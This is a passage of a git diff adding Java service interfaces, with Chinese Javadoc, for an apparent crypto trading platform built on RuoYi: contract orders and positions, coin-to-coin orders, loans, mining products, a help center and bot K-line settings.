结果 + */ + public int deleteTBotKlineModelByIds(Long[] ids); + + /** + * 删除控线配置信息 + * + * @param id 控线配置主键 + * @return 结果 + */ + public int deleteTBotKlineModelById(Long id); + + public List getBotModelListByTime(TBotKlineModel tBotKlineModel); + + public List getBotModelPriceByTime(TBotKlineModel tBotKlineModel); + + public List getBotModelListBeforTime(TBotKlineModel tBotKlineModel); + + public List getBotModelListBySymbol(TBotKlineModel tBotKlineModel); + + public HashMap getyesterdayPrice(); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITCollectionOrderService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITCollectionOrderService.java new file mode 100644 index 0000000..138bc1d --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITCollectionOrderService.java @@ -0,0 +1,73 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; + +import java.math.BigDecimal; +import java.util.List; + +import com.ruoyi.bussiness.domain.TCollectionOrder; + +/** + * 【请填写功能名称】Service接口 + * + * @author ruoyi + * @date 2023-09-08 + */ +public interface ITCollectionOrderService extends IService +{ + /** + * 查询【请填写功能名称】 + * + * @param id 【请填写功能名称】主键 + * @return 【请填写功能名称】 + */ + public TCollectionOrder selectTCollectionOrderById(Long id); + + /** + * 查询【请填写功能名称】列表 + * + * @param tCollectionOrder 【请填写功能名称】 + * @return 【请填写功能名称】集合 + */ + public List selectTCollectionOrderList(TCollectionOrder tCollectionOrder); + + /** + * 新增【请填写功能名称】 + * + * @param tCollectionOrder 【请填写功能名称】 + * @return 结果 + */ + public int insertTCollectionOrder(TCollectionOrder tCollectionOrder); + + /** + * 修改【请填写功能名称】 + * + * @param tCollectionOrder 【请填写功能名称】 + * @return 结果 + */ + public int updateTCollectionOrder(TCollectionOrder tCollectionOrder); + + /** + * 批量删除【请填写功能名称】 + * + * @param ids 需要删除的【请填写功能名称】主键集合 + * @return 结果 + */ + public int deleteTCollectionOrderByIds(Long[] ids); + + /** + * 删除【请填写功能名称】信息 + * + * @param id 【请填写功能名称】主键 + * @return 结果 + */ + public int deleteTCollectionOrderById(Long id); + + BigDecimal selectCollectionAmountByUserId(Long userId); + + BigDecimal selectCollectionAmountByAgencyId(Long agencyId); + + BigDecimal selectCollectionAmountDetail(Long appUserId, String adminParentIds); + + BigDecimal getDayCollectionAmount(String beginTime, String endTime); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITContractCoinService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITContractCoinService.java new file mode 100644 index 0000000..8853372 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITContractCoinService.java @@ -0,0 +1,68 @@ +package com.ruoyi.bussiness.service; + +import java.util.List; + +import com.baomidou.mybatisplus.extension.service.IService; +import com.ruoyi.bussiness.domain.TContractCoin; +import com.ruoyi.bussiness.domain.TExchangeCoinRecord; + +/** + * U本位合约币种Service接口 + * + * @author michael + * @date 2023-07-20 + */ +public interface ITContractCoinService extends IService +{ + /** + * 查询U本位合约币种 + * + * @param id U本位合约币种主键 + * @return U本位合约币种 + */ + public TContractCoin selectTContractCoinById(Long id); + + /** + * 查询U本位合约币种列表 + * + * @param tContractCoin U本位合约币种 + * @return U本位合约币种集合 + */ + public List selectTContractCoinList(TContractCoin tContractCoin); + + /** + * 新增U本位合约币种 + * + * @param tContractCoin U本位合约币种 + * @return 结果 + */ + public int insertTContractCoin(TContractCoin tContractCoin); + + /** + * 修改U本位合约币种 + * + * @param tContractCoin U本位合约币种 + * @return 结果 + */ + public int updateTContractCoin(TContractCoin tContractCoin); + + /** + * 批量删除U本位合约币种 + * + * @param ids 需要删除的U本位合约币种主键集合 + * @return 结果 + */ + public int deleteTContractCoinByIds(Long[] ids); + + /** + * 删除U本位合约币种信息 + * + * @param id U本位合约币种主键 + * @return 结果 + */ + public int deleteTContractCoinById(Long id); + + TContractCoin selectContractCoinBySymbol(String symbol); + + List getCoinList(); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITContractLossService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITContractLossService.java new file mode 100644 index 0000000..1d1e006 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITContractLossService.java @@ -0,0 +1,67 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; +import com.ruoyi.bussiness.domain.TContractLoss; + +/** + * 止盈止损表Service接口 + * + * @author ruoyi + * @date 2023-07-25 + */ +public interface ITContractLossService extends IService { + /** + * 查询止盈止损表 + * + * @param id 止盈止损表主键 + * @return 止盈止损表 + */ + public TContractLoss selectTContractLossById(Long id); + + /** + * 查询止盈止损表列表 + * + * @param tContractLoss 止盈止损表 + * @return 止盈止损表集合 + */ + public List selectTContractLossList(TContractLoss tContractLoss); + + /** + * 新增止盈止损表 + * + * @param tContractLoss 止盈止损表 + * @return 结果 + */ + public int insertTContractLoss(TContractLoss tContractLoss); + + /** + * 修改止盈止损表 + * + * @param tContractLoss 止盈止损表 + * @return 结果 + */ + public int updateTContractLoss(TContractLoss tContractLoss); + + /** + * 批量删除止盈止损表 + * + * @param ids 需要删除的止盈止损表主键集合 + * @return 结果 + */ + public int deleteTContractLossByIds(Long[] ids); + + /** + * 删除止盈止损表信息 + * + * @param id 止盈止损表主键 + * @return 结果 + */ + public int deleteTContractLossById(Long id); + + String cntractLossSett( TContractLoss contractLoss); + + + void updateContractLoss(Long positionId); + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITContractOrderService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITContractOrderService.java new file mode 100644 index 0000000..23230e1 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITContractOrderService.java @@ -0,0 +1,103 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import com.ruoyi.bussiness.domain.TContractOrder; +import java.math.BigDecimal; +import java.util.List; + +/** + * U本位委托Service接口 + * + * @author michael + * @date 2023-07-20 + */ +public interface ITContractOrderService extends IService +{ + /** + * 查询U本位委托 + * + * @param id U本位委托主键 + * @return U本位委托 + */ + public TContractOrder selectTContractOrderById(Long id); + + /** + * 查询U本位委托列表 + * + * @param tContractOrder U本位委托 + * @return U本位委托集合 + */ + public List selectTContractOrderList(TContractOrder tContractOrder); + + /** + * 新增U本位委托 + * + * @param tContractOrder U本位委托 + * @return 结果 + */ + public int insertTContractOrder(TContractOrder tContractOrder); + + /** + * 修改U本位委托 + * + * @param tContractOrder U本位委托 + * @return 结果 + */ + public int updateTContractOrder(TContractOrder tContractOrder); + + /** + * 批量删除U本位委托 + * + * @param ids 需要删除的U本位委托主键集合 + * @return 结果 + */ + public int deleteTContractOrderByIds(Long[] ids); + + /** + * 删除U本位委托信息 + * + * @param id U本位委托主键 + * @return 结果 + */ + public int deleteTContractOrderById(Long id); + + + /** + * U本位提交接口 + * @param symbol + * @param leverage + * @param delegatePrice + * @param delegateTotal + * @param userId + * @param type + * @param delegateType + * @return + */ + String buyContractOrder(String symbol, BigDecimal leverage, BigDecimal delegatePrice,BigDecimal delegateTotal,Long userId,Integer type, Integer delegateType); + + + /** + * 提交验证 + * @param symbol + * @param leverage + * @param delegatePrice + * @param delegateTotal + * @param userId + * @return + */ + + String verifySubmit(String symbol, BigDecimal leverage, BigDecimal delegatePrice,BigDecimal delegateTotal,Long userId); + + + /** + * 撤销委托订单 + * @param id + * @return + */ + String canCelOrder(Long id); + + + + + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITContractPositionService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITContractPositionService.java new file mode 100644 index 0000000..b16810b --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITContractPositionService.java @@ -0,0 +1,113 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; + +import java.math.BigDecimal; +import java.util.List; +import com.ruoyi.bussiness.domain.TContractPosition; + +/** + * U本位持仓表Service接口 + * + * @author michael + * @date 2023-07-20 + */ +public interface ITContractPositionService extends IService +{ + /** + * 查询U本位持仓表 + * + * @param id U本位持仓表主键 + * @return U本位持仓表 + */ + public TContractPosition selectTContractPositionById(Long id); + + /** + * 查询U本位持仓表列表 + * + * @param tContractPosition U本位持仓表 + * @return U本位持仓表集合 + */ + public List selectTContractPositionList(TContractPosition tContractPosition); + + /** + * 新增U本位持仓表 + * + * @param tContractPosition U本位持仓表 + * @return 结果 + */ + public int insertTContractPosition(TContractPosition tContractPosition); + + /** + * 修改U本位持仓表 + * + * @param tContractPosition U本位持仓表 + * @return 结果 + */ + public int updateTContractPosition(TContractPosition tContractPosition); + + /** + * 批量删除U本位持仓表 + * + * @param ids 需要删除的U本位持仓表主键集合 + * @return 结果 + */ + public int deleteTContractPositionByIds(Long[] ids); + + /** + * 删除U本位持仓表信息 + * + * @param id U本位持仓表主键 + * @return 结果 + */ + public int deleteTContractPositionById(Long id); + + /** + * 全部平仓 + * @param id + * @return + */ + String allClosePosition(Long id); + + /** + * 调整保证金 + * @param id + * @param money + * @param flag 0 增加 1减少 + * @return + */ + String adjustAmout(Long id, BigDecimal money, String flag); + + + /** + * 平仓交易 + * @param id + * @return + */ + String verifyStopPostion(Long id); + + /** + * 通过 + * @param contractPosition + * @return + */ + String pass(TContractPosition contractPosition); + + /** + * 拒绝 + * @param contractPosition + * @return + */ + String reject(TContractPosition contractPosition); + + + String adjustPositionMargn(Long id,BigDecimal money); + + String adjustPositionAmout(Long id,BigDecimal money); + + String closePosition(Long id); + + String stopPosition(Long id); + + String stopAllPosition(Long id); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITCurrencyOrderService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITCurrencyOrderService.java new file mode 100644 index 0000000..498c486 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITCurrencyOrderService.java @@ -0,0 +1,83 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; + +import java.math.BigDecimal; +import java.util.List; + +import com.ruoyi.bussiness.domain.TAppAsset; +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.domain.TCurrencyOrder; +import com.ruoyi.bussiness.domain.TCurrencySymbol; +import com.ruoyi.common.core.domain.AjaxResult; + +/** + * 币币交易订单Service接口 + * + * @author ruoyi + * @date 2023-07-25 + */ +public interface ITCurrencyOrderService extends IService +{ + /** + * 查询币币交易订单 + * + * @param id 币币交易订单主键 + * @return 币币交易订单 + */ + public TCurrencyOrder selectTCurrencyOrderById(Long id); + + /** + * 查询币币交易订单列表 + * + * @param tCurrencyOrder 币币交易订单 + * @return 币币交易订单集合 + */ + public List selectTCurrencyOrderList(TCurrencyOrder tCurrencyOrder); + + /** + * 新增币币交易订单 + * + * @param tCurrencyOrder 币币交易订单 + * @return 结果 + */ + public int insertTCurrencyOrder(TCurrencyOrder tCurrencyOrder); + + /** + * 修改币币交易订单 + * + * @param tCurrencyOrder 币币交易订单 + * @return 结果 + */ + public int updateTCurrencyOrder(TCurrencyOrder tCurrencyOrder); + + /** + * 批量删除币币交易订单 + * + * @param ids 需要删除的币币交易订单主键集合 + * @return 结果 + */ + public int deleteTCurrencyOrderByIds(Long[] ids); + + /** + * 删除币币交易订单信息 + * + * @param id 币币交易订单主键 + * @return 结果 + */ + public int deleteTCurrencyOrderById(Long id); + + String submitCurrencyOrder(TAppUser user, TCurrencyOrder tCurrencyOrder); + + String checkOrder(TCurrencyOrder tCurrencyOrder, TCurrencySymbol currencySymbol, BigDecimal settlePrice); + + boolean checkPrice(Integer type, BigDecimal delegatePrice, BigDecimal settlePrice); + + void assembleCurrencyOrder(TCurrencyOrder tCurrencyOrder, String symbol, String coin, Long userId, BigDecimal subtractPrice, BigDecimal addPrice, TAppAsset subtractAsset, TAppAsset addAsset); + + void combinationCurrencyOrder(TCurrencyOrder tCurrencyOrder, BigDecimal ratio, Long userId); + + int canCelOrder(TCurrencyOrder currencyOrder); + + List selectOrderList(TCurrencyOrder tCurrencyOrder); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITCurrencySymbolService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITCurrencySymbolService.java new file mode 100644 index 0000000..836d433 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITCurrencySymbolService.java @@ -0,0 +1,68 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; +import com.ruoyi.bussiness.domain.TCurrencySymbol; + +/** + * 币币交易币种配置Service接口 + * + * @author ruoyi + * @date 2023-07-25 + */ +public interface ITCurrencySymbolService extends IService +{ + /** + * 查询币币交易币种配置 + * + * @param id 币币交易币种配置主键 + * @return 币币交易币种配置 + */ + public TCurrencySymbol selectTCurrencySymbolById(Long id); + + /** + * 查询币币交易币种配置列表 + * + * @param tCurrencySymbol 币币交易币种配置 + * @return 币币交易币种配置集合 + */ + public List selectTCurrencySymbolList(TCurrencySymbol tCurrencySymbol); + + /** + * 新增币币交易币种配置 + * + * @param tCurrencySymbol 币币交易币种配置 + * @return 结果 + */ + public int insertTCurrencySymbol(TCurrencySymbol tCurrencySymbol); + + /** + * 修改币币交易币种配置 + * + * @param tCurrencySymbol 币币交易币种配置 + * @return 结果 + */ + public int updateTCurrencySymbol(TCurrencySymbol tCurrencySymbol); + + /** + * 批量删除币币交易币种配置 + * + * @param ids 需要删除的币币交易币种配置主键集合 + * @return 结果 + */ + public int deleteTCurrencySymbolByIds(Long[] ids); + + /** + * 删除币币交易币种配置信息 + * + * @param id 币币交易币种配置主键 + * @return 结果 + */ + public int deleteTCurrencySymbolById(Long id); + + boolean batchSave(String[] symbols); + + List getSymbolList(); + + TCurrencySymbol selectByCoin(String symbol); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITExchangeCoinRecordService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITExchangeCoinRecordService.java new file mode 100644 index 0000000..a11ff35 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITExchangeCoinRecordService.java @@ -0,0 +1,73 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; +import java.util.Map; + +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.domain.TExchangeCoinRecord; + +/** + * 币种兑换记录Service接口 + * + * @author ruoyi + * @date 2023-07-07 + */ +public interface ITExchangeCoinRecordService extends IService +{ + /** + * 查询币种兑换记录 + * + * @param id 币种兑换记录主键 + * @return 币种兑换记录 + */ + public TExchangeCoinRecord selectTExchangeCoinRecordById(Long id); + + /** + * 查询币种兑换记录列表 + * + * @param tExchangeCoinRecord 币种兑换记录 + * @return 币种兑换记录集合 + */ + public List selectTExchangeCoinRecordList(TExchangeCoinRecord tExchangeCoinRecord); + + /** + * 新增币种兑换记录 + * + * @param tExchangeCoinRecord 币种兑换记录 + * @return 结果 + */ + public int insertTExchangeCoinRecord(TExchangeCoinRecord tExchangeCoinRecord); + + /** + * 修改币种兑换记录 + * + * @param tExchangeCoinRecord 币种兑换记录 + * @return 结果 + */ + public int updateTExchangeCoinRecord(TExchangeCoinRecord tExchangeCoinRecord); + + /** + * 批量删除币种兑换记录 + * + * @param ids 需要删除的币种兑换记录主键集合 + * @return 结果 + */ + public int deleteTExchangeCoinRecordByIds(Long[] ids); + + /** + * 删除币种兑换记录信息 + * + * @param id 币种兑换记录主键 + * @return 结果 + */ + public int deleteTExchangeCoinRecordById(Long id); + + Integer countBySubmittedRecord(Long userId, String fromSymbol, String toSymbol); + + int insertRecord(TAppUser user, Map params); + + Map getCurrencyPrice(String[] currency); + + List getListByLimit(int size); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITHelpCenterInfoService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITHelpCenterInfoService.java new file mode 100644 index 0000000..1492d7d --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITHelpCenterInfoService.java @@ -0,0 +1,63 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import com.ruoyi.bussiness.domain.THelpCenterInfo; + +import java.util.List; + +/** + * 帮助中心问题详情Service接口 + * + * @author ruoyi + * @date 2023-08-17 + */ +public interface ITHelpCenterInfoService extends IService +{ + /** + * 查询帮助中心问题详情 + * + * @param id 帮助中心问题详情主键 + * @return 帮助中心问题详情 + */ + public THelpCenterInfo selectTHelpCenterInfoById(Long id); + + /** + * 查询帮助中心问题详情列表 + * + * @param tHelpCenterInfo 帮助中心问题详情 + * @return 帮助中心问题详情集合 + */ + public List selectTHelpCenterInfoList(THelpCenterInfo tHelpCenterInfo); + + /** + * 新增帮助中心问题详情 + * + * @param tHelpCenterInfo 帮助中心问题详情 + * @return 结果 + */ + public int insertTHelpCenterInfo(THelpCenterInfo tHelpCenterInfo); + + /** + * 修改帮助中心问题详情 + * + * @param tHelpCenterInfo 帮助中心问题详情 + * @return 结果 + */ + public int updateTHelpCenterInfo(THelpCenterInfo tHelpCenterInfo); + + /** + * 批量删除帮助中心问题详情 + * + * @param ids 需要删除的帮助中心问题详情主键集合 + * @return 结果 + */ + public int deleteTHelpCenterInfoByIds(Long[] ids); + + /** + * 删除帮助中心问题详情信息 + * + * @param id 帮助中心问题详情主键 + * @return 结果 + */ + public int deleteTHelpCenterInfoById(Long id); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITHelpCenterService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITHelpCenterService.java new file mode 100644 index 0000000..fdc9891 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITHelpCenterService.java @@ -0,0 +1,65 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import com.ruoyi.bussiness.domain.THelpCenter; + +import java.util.List; + +/** + * 帮助中心Service接口 + * + * @author ruoyi + * @date 2023-08-17 + */ +public interface ITHelpCenterService extends IService +{ + /** + * 查询帮助中心 + * + * @param id 帮助中心主键 + * @return 帮助中心 + */ + public THelpCenter selectTHelpCenterById(Long id); + + /** + * 查询帮助中心列表 + * + * @param tHelpCenter 帮助中心 + * @return 帮助中心集合 + */ + public List selectTHelpCenterList(THelpCenter tHelpCenter); + + /** + * 新增帮助中心 + * + * @param tHelpCenter 帮助中心 + * @return 结果 + */ + public int insertTHelpCenter(THelpCenter tHelpCenter); + + /** + * 修改帮助中心 + * + * @param tHelpCenter 帮助中心 + * @return 结果 + */ + public int updateTHelpCenter(THelpCenter tHelpCenter); + + /** + * 批量删除帮助中心 + * + * @param ids 需要删除的帮助中心主键集合 + * @return 结果 + */ + public int deleteTHelpCenterByIds(Long[] ids); + + /** + * 删除帮助中心信息 + * + * @param id 帮助中心主键 + * @return 结果 + */ + public int deleteTHelpCenterById(Long id); + + List getCenterList(THelpCenter tHelpCenter); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITHomeSetterService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITHomeSetterService.java new file mode 100644 index 0000000..6baf2d3 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITHomeSetterService.java @@ -0,0 +1,62 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; +import com.ruoyi.bussiness.domain.THomeSetter; + +/** + * 规则说明Service接口 + * + * @author ruoyi + * @date 2023-07-19 + */ +public interface ITHomeSetterService extends IService +{ + /** + * 查询规则说明 + * + * @param id 规则说明主键 + * @return 规则说明 + */ + public THomeSetter selectTHomeSetterById(Long id); + + /** + * 查询规则说明列表 + * + * @param tHomeSetter 规则说明 + * @return 规则说明集合 + */ + public List selectTHomeSetterList(THomeSetter tHomeSetter); + + /** + * 新增规则说明 + * + * @param tHomeSetter 规则说明 + * @return 结果 + */ + public int insertTHomeSetter(THomeSetter tHomeSetter); + + /** + * 修改规则说明 + * + * @param tHomeSetter 规则说明 + * @return 结果 + */ + public int updateTHomeSetter(THomeSetter tHomeSetter); + + /** + * 批量删除规则说明 + * + * @param ids 需要删除的规则说明主键集合 + * @return 结果 + */ + public int deleteTHomeSetterByIds(Long[] ids); + + /** + * 删除规则说明信息 + * + * @param id 规则说明主键 + * @return 结果 + */ + public int deleteTHomeSetterById(Long id); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITLoadOrderService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITLoadOrderService.java new file mode 100644 index 0000000..978a9e2 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITLoadOrderService.java @@ -0,0 +1,71 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; + +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.domain.TLoadOrder; +import com.ruoyi.common.core.domain.AjaxResult; + +/** + * 贷款订单Service接口 + * + * @author ruoyi + * @date 2023-07-14 + */ +public interface ITLoadOrderService extends IService +{ + /** + * 查询贷款订单 + * + * @param id 贷款订单主键 + * @return 贷款订单 + */ + public TLoadOrder selectTLoadOrderById(Long id); + + /** + * 查询贷款订单列表 + * + * @param tLoadOrder 贷款订单 + * @return 贷款订单集合 + */ + public List selectTLoadOrderList(TLoadOrder tLoadOrder); + + /** + * 新增贷款订单 + * + * @param tLoadOrder 贷款订单 + * @return 结果 + */ + public int insertTLoadOrder(TLoadOrder tLoadOrder); + + /** + * 修改贷款订单 + * + * @param tLoadOrder 贷款订单 + * @return 结果 + */ + public int updateTLoadOrder(TLoadOrder tLoadOrder); + + /** + * 批量删除贷款订单 + * + * @param ids 需要删除的贷款订单主键集合 + * @return 结果 + */ + public int deleteTLoadOrderByIds(Long[] ids); + + /** + * 删除贷款订单信息 + * + * @param id 贷款订单主键 + * @return 结果 + */ + public int deleteTLoadOrderById(Long id); + + AjaxResult saveTLoadOrder(TLoadOrder loadOrder, TAppUser user); + + AjaxResult passTLoadOrder(TLoadOrder tLoadOrder); + + int repayment(Long id); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITLoadProductService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITLoadProductService.java new file mode 100644 index 0000000..577b6a8 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITLoadProductService.java @@ -0,0 +1,62 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; +import com.ruoyi.bussiness.domain.TLoadProduct; + +/** + * 借贷产品Service接口 + * + * @author ruoyi + * @date 2023-07-13 + */ +public interface ITLoadProductService extends IService +{ + /** + * 查询借贷产品 + * + * @param id 借贷产品主键 + * @return 借贷产品 + */ + public TLoadProduct selectTLoadProductById(Long id); + + /** + * 查询借贷产品列表 + * + * @param tLoadProduct 借贷产品 + * @return 借贷产品集合 + */ + public List selectTLoadProductList(TLoadProduct tLoadProduct); + + /** + * 新增借贷产品 + * + * @param tLoadProduct 借贷产品 + * @return 结果 + */ + public int insertTLoadProduct(TLoadProduct tLoadProduct); + + /** + * 修改借贷产品 + * + * @param tLoadProduct 借贷产品 + * @return 结果 + */ + public int updateTLoadProduct(TLoadProduct tLoadProduct); + + /** + * 批量删除借贷产品 + * + * @param ids 需要删除的借贷产品主键集合 + * @return 结果 + */ + public int deleteTLoadProductByIds(Long[] ids); + + /** + * 删除借贷产品信息 + * + * @param id 借贷产品主键 + * @return 结果 + */ + public int deleteTLoadProductById(Long id); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMarketsService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMarketsService.java new file mode 100644 index 0000000..83cc1f1 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMarketsService.java @@ -0,0 +1,61 @@ +package com.ruoyi.bussiness.service; + +import java.util.List; +import com.ruoyi.bussiness.domain.TMarkets; + +/** + * 支持交易所Service接口 + * + * @author ruoyi + * @date 2023-06-26 + */ +public interface ITMarketsService +{ + /** + * 查询支持交易所 + * + * @param slug 支持交易所主键 + * @return 支持交易所 + */ + public TMarkets selectTMarketsBySlug(String slug); + + /** + * 查询支持交易所列表 + * + * @param tMarkets 支持交易所 + * @return 支持交易所集合 + */ + public List selectTMarketsList(TMarkets tMarkets); + + /** + * 新增支持交易所 + * + * @param tMarkets 支持交易所 + * @return 结果 + */ + public int insertTMarkets(TMarkets tMarkets); + + /** + * 修改支持交易所 + * + * @param tMarkets 支持交易所 + * @return 结果 + */ + public int updateTMarkets(TMarkets tMarkets); + + /** + * 批量删除支持交易所 + * + * @param slugs 需要删除的支持交易所主键集合 + * @return 结果 + */ + public int deleteTMarketsBySlugs(String[] slugs); + + /** + * 删除支持交易所信息 + * + * @param slug 支持交易所主键 + * @return 结果 + */ + public int deleteTMarketsBySlug(String slug); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMineFinancialService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMineFinancialService.java new file mode 100644 index 0000000..4087b77 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMineFinancialService.java @@ -0,0 +1,71 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import com.ruoyi.bussiness.domain.TMineFinancial; + +import java.math.BigDecimal; +import java.util.List; +import java.util.Map; + +/** + * 【请填写功能名称】Service接口 + * + * @author ruoyi + * @date 2023-07-17 + */ +public interface ITMineFinancialService extends IService +{ + /** + * 查询【请填写功能名称】 + * + * @param id 【请填写功能名称】主键 + * @return 【请填写功能名称】 + */ + public TMineFinancial selectTMineFinancialById(Long id); + + /** + * 查询【请填写功能名称】列表 + * + * @param tMineFinancial 【请填写功能名称】 + * @return 【请填写功能名称】集合 + */ + public List selectTMineFinancialList(TMineFinancial tMineFinancial); + + /** + * 新增【请填写功能名称】 + * + * @param tMineFinancial 【请填写功能名称】 + * @return 结果 + */ + public int insertTMineFinancial(TMineFinancial tMineFinancial); + + /** + * 修改【请填写功能名称】 + * + * @param tMineFinancial 【请填写功能名称】 + * @return 结果 + */ + public int updateTMineFinancial(TMineFinancial tMineFinancial); + + /** + * 批量删除【请填写功能名称】 + * + * @param ids 需要删除的【请填写功能名称】主键集合 + * @return 结果 + */ + public int deleteTMineFinancialByIds(Long[] ids); + + /** + * 删除【请填写功能名称】信息 + * + * @param id 【请填写功能名称】主键 + * @return 结果 + */ + public int deleteTMineFinancialById(Long id); + + String submit(Long planId, BigDecimal money, Long days); + + String reCall(String id); + + Map personalIncome(); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMineOrderDayService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMineOrderDayService.java new file mode 100644 index 0000000..79895b3 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMineOrderDayService.java @@ -0,0 +1,64 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import com.ruoyi.bussiness.domain.TMineOrderDay; + +import java.math.BigDecimal; +import java.util.List; + +/** + * 【请填写功能名称】Service接口 + * + * @author ruoyi + * @date 2023-07-17 + */ +public interface ITMineOrderDayService extends IService +{ + /** + * 查询【请填写功能名称】 + * + * @param amount 【请填写功能名称】主键 + * @return 【请填写功能名称】 + */ + public TMineOrderDay selectTMineOrderDayByAmount(BigDecimal amount); + + /** + * 查询【请填写功能名称】列表 + * + * @param tMineOrderDay 【请填写功能名称】 + * @return 【请填写功能名称】集合 + */ + public List selectTMineOrderDayList(TMineOrderDay tMineOrderDay); + + /** + * 新增【请填写功能名称】 + * + * @param tMineOrderDay 【请填写功能名称】 + * @return 结果 + */ + public int insertTMineOrderDay(TMineOrderDay tMineOrderDay); + + /** + * 修改【请填写功能名称】 + * + * @param tMineOrderDay 【请填写功能名称】 + * @return 结果 + */ + public int updateTMineOrderDay(TMineOrderDay tMineOrderDay); + + /** + * 批量删除【请填写功能名称】 + * + * @param amounts 需要删除的【请填写功能名称】主键集合 + * @return 结果 + */ + public int deleteTMineOrderDayByAmounts(BigDecimal[] amounts); + + /** + * 删除【请填写功能名称】信息 + * + * @param amount 【请填写功能名称】主键 + * @return 结果 + */ + public int deleteTMineOrderDayByAmount(BigDecimal amount); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMineOrderService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMineOrderService.java new file mode 100644 index 0000000..12ff211 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMineOrderService.java @@ -0,0 +1,63 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import com.ruoyi.bussiness.domain.TMineOrder; + +import java.util.List; + +/** + * 【请填写功能名称】Service接口 + * + * @author ruoyi + * @date 2023-07-17 + */ +public interface ITMineOrderService extends IService +{ + /** + * 查询【请填写功能名称】 + * + * @param id 【请填写功能名称】主键 + * @return 【请填写功能名称】 + */ + public TMineOrder selectTMineOrderById(Long id); + + /** + * 查询【请填写功能名称】列表 + * + * @param tMineOrder 【请填写功能名称】 + * @return 